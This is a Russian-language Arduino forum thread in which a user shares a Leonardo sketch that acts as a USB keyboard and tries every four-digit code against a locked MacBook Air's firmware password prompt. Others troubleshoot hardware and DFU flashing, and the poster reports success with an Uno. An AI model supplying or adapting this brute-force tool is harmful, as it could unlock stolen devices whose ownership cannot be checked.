Leonardo (эмуляция клавиатуры) + Macbook Air (блокированный)

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

Собрал устройство для подбора пароля взломанного мошенниками Macbook  Air по этой статье

Все отлично заработало при проверке в блокноте на винде. 

Включаю Мак с нажатой alt, появляется замочек с полем для ввода пароля. Для проверки, подключаю обычную клавиатуру - она работает. Подключаю свой эмулятор - тишина. Т.е. на индикаторе цифры появляются, но в поле ввода Мака ничего((( 

Еще заметил: на винде arduino работает нормально, а при подключения к маку - работа замедляется в 2-3 раза (судя по индикации_.

Мой код

void ledDigitDisplay(float num, float time)
{
  unsigned long ltime = millis();

  // Настройки
  // 6, 8, 9, 12 - GND
  int pin[] = {
    2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13  }; // Пины
  int settingsSegments[] = {
    pin[10], pin[6], pin[3], pin[1], pin[0], pin[9], pin[4], pin[2]  }; // Порядок сегментов
  int segments[] = {
    0b00111111, 0b00000110, 0b01011011, 0b01001111, 0b01100110, 0b01101101, 0b01111101, 0b00000111, 0b01111111, 0b01101111, 0b10000000, 0b01000000  }; // 1, 2, 3, 4, 5, 6, 7, 8, 9, '.', '-'
  for(int i = 0; i < 12; ++i) pinMode(pin[i], OUTPUT); // Определяем пины как выход

  int floatingPoint = 0, minus = 4;

  if(num > -1000 && num < 0) // Разбираемся с отрицательными числами
  {
    minus--;
    if(num > -100) minus--;
    if(num > -10) minus--;
    num = -num;
  }

  for(int i = 0; num < 1000 && minus == 4; ++i) // Разбираемся с дробными числами
  {
    if(int(num * 10) != int(num)*10)
    {
      floatingPoint++;
      num *= 10;
    }
    else
      break;
  }

  for(int i = 0, temp; millis() - ltime <= time * 1000; i++)
  {
    if(i == 4) i = 0;

    temp = int(num / pow(10, i)) % 10; // Цифра которую передадим индикатору
    if(num >= 10000 || num <= -10000 || minus == i) // Если минус или переполнение, передаем '-'
      temp = 11;

    if(i == 3 && (num >= 1000 || floatingPoint == i || minus == i)) pinMode(pin[11], OUTPUT); 
    else pinMode(pin[11], INPUT); // Работаем с 4 разрядом
    if(i == 2 && (num >= 100 || floatingPoint == i || minus == i)) pinMode(pin[8], OUTPUT); 
    else pinMode(pin[8], INPUT); // Работаем с 3 разрядом
    if(i == 1 && (num >= 10 || floatingPoint == i || minus == i)) pinMode(pin[7], OUTPUT); 
    else pinMode(pin[7], INPUT); // Работаем с 2 разрядом
    if(i == 0) pinMode(pin[5], OUTPUT); 
    else pinMode(pin[5], INPUT); // Работаем с 1 разрядом

    for(int j = 0; j < 8; j++) // Передаем число
      if(segments[temp] & (1 << j))
        digitalWrite(settingsSegments[j], HIGH);

    if(floatingPoint && floatingPoint == i) // Передаем точку
      digitalWrite(settingsSegments[7], HIGH);

    delay(1); // Небольшая пауза, чтобы светодиоды разгорелись

    for(int j = 0; j < 8; j++) digitalWrite(settingsSegments[j], LOW); // Выключаем все светодиоды
  }
}

void setup()
{
Keyboard.begin();
}



void loop()
{
  int j;
  for(int j1 = 0; j1 < 10; j1++)
    for(int j2 = 0; j2 < 10; j2++)
      for(int j3 = 0; j3 < 10; j3++)
        for(int j4 = 0; j4 < 10; j4++)
        {
          j=j1*1000+j2*100+j3*10+j4;
          ledDigitDisplay(j, 1);
          String s1 =  String(j1, DEC);
          String s2 =  String(j2, DEC);
          String s3 =  String(j3, DEC);
          String s4 =  String(j4, DEC);
          
          Keyboard.press(48+j1);
          delay(100);
          Keyboard.releaseAll();
          delay(100);
          
          Keyboard.press(48+j2);
          delay(100);
          Keyboard.releaseAll();
          delay(100);
          
          Keyboard.press(48+j3);
          delay(100);
          Keyboard.releaseAll();
          delay(100);
          
          Keyboard.press(48+j4);
          delay(100);
          Keyboard.releaseAll();
          delay(100);
         
          Keyboard.press(10);
          delay(100);
          Keyboard.releaseAll();
          delay(100);
          
          //delay(2000);
        }
}

Подскажите пожалуйста, в какую сторону глядеть.

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

не пойму зачем ты что то переделываешь если уже дан рабочий код?

или ты просто этот же код запускаешь на леонардо?

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

Код выше - это найденные мной куски и переделанные под мои реалии. Этот код отлично работает в блокноте на винде. Но на Маке не работает (не работает именно в режиме ввода пароля)

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

а драйвер? в устройствах появилась клава?

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

Это невозможно проверить на маке на данном этапе

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

а начиная с этого момента статьи проверял?

Итак, Arduino в режиме DFU, теперь ее можно превращать в клавиатуру. Далее пойдет описание работы под Windows. 

1. Запускаем FLIP. Во вкладке «Device» нажимаем «Select» или нажимаем на микросхемку, ищем в списке «ATmega16U2» (или «...8U2»), нажимаем «ОК». 

возможно без драйверов просто не заработает. ардуины уно нет?

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

jeka_tm пишет:

а начиная с этого момента статьи проверял?

Итак, Arduino в режиме DFU, теперь ее можно превращать в клавиатуру. Далее пойдет описание работы под Windows. 

1. Запускаем FLIP. Во вкладке «Device» нажимаем «Select» или нажимаем на микросхемку, ищем в списке «ATmega16U2» (или «...8U2»), нажимаем «ОК». 

возможно без драйверов просто не заработает. ардуины уно нет?

 

Все читал. Там делали через ардуино, которая стандартно не умеет эмулировать Клаву. Леонардо умеет это делать в родной прошивке. 

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

да. но драйвера

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

Это как биос на винде. Не может быть драйверов. 

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

Я так понимаю, что мак не видит Arduino в режиме загрузки. Это можно как то решить? 

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

а биос видит? 

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

Я так понимаю, что в маке нет биоса

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

да не мас а другой комп с виндой

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

Так, все это время я проверял arduino на компах, где были установлены драйвера ардуино. Подключил свою "печатную машинку" к компу с виндой, где нет никаких драйверов, и ничего не работает((( Ардуино не определилась как клава и ничего не печатает. светодиод tx тоже не мигает......

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

ну вот. делай как в статье

art100
Offline
Зарегистрирован: 09.03.2014

A в голову не приходило, что последние 15 лет ID клав и др. разные?

цитирую 

специальную прошивку для микросхемы «ATMEL MEGA16U2»

подсказываю эти прошивки готовит сам http://atmel.com и 15 лет все остальные программеры подстариваются под них в своих BIOS&UEFI and etc...

В статье все уже в кучку сложено и как для детей разжевано. А почему вы выбрали не микропроцессора Кипарис или ПИК-и? Нет давайте Леонардо с его чудо 5 секундным переключением из двух режимов прошивания и HID-клавы. Подозреваю что MacbookAir даже не успевает послушать на его единственном порту была ли на порту клавка или нет.

Еще подсказываю

arduino mega или

arduino adk

arduino mega2560

такие-же ID имеют в прошивки эмуляции как и

arduino uno - классика

но я бы решал вопрос с 1800$ покупая только то что проверенно

то есть строго по статье ни шаг влево ни шаг вправо

развлекался прошивками когда-то http://arduino.ru/forum/apparatnye-voprosy/hid-device-i-windows-tolko-leonardo-micro-da-nu-ne-veryu

 

 

 

 

nimatu
Offline
Зарегистрирован: 21.07.2015

Автор, у меня точно такая же проблема, нашли решение?

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

тоже взял леонардо?

artur_fcsm
Offline
Зарегистрирован: 12.02.2015

 

Купил UNO - и все проблемы решились! Сразу все заработало. Через 2 часа подбора пароль был найден!

nimatu
Offline
Зарегистрирован: 21.07.2015

Я вот тоже уже думаю купить уно и сделать под копирку как в статье, однако чертовски не хочется ж покупать при наличии леонардо. )

 

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

))) ну давай. дерзай

nimatu
Offline
Зарегистрирован: 21.07.2015

А какую уно ты купил, позволь узнать? ) Я купил R3 и не могу ввести ее в dfu режим. Может подскажешь?

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

надо на 16u2 + 328p, а китайцы в основном продают на ch340+328p

nimatu
Offline
Зарегистрирован: 21.07.2015

Врода она же:

https://yadi.sk/i/Te1VYtEliXBad

 

 

jeka_tm
jeka_tm аватар
Offline
Зарегистрирован: 19.05.2013

значит что то делаешь неправильно

nimatu
Offline
Зарегистрирован: 21.07.2015

ты в дфу ввел замыканием двух пинов?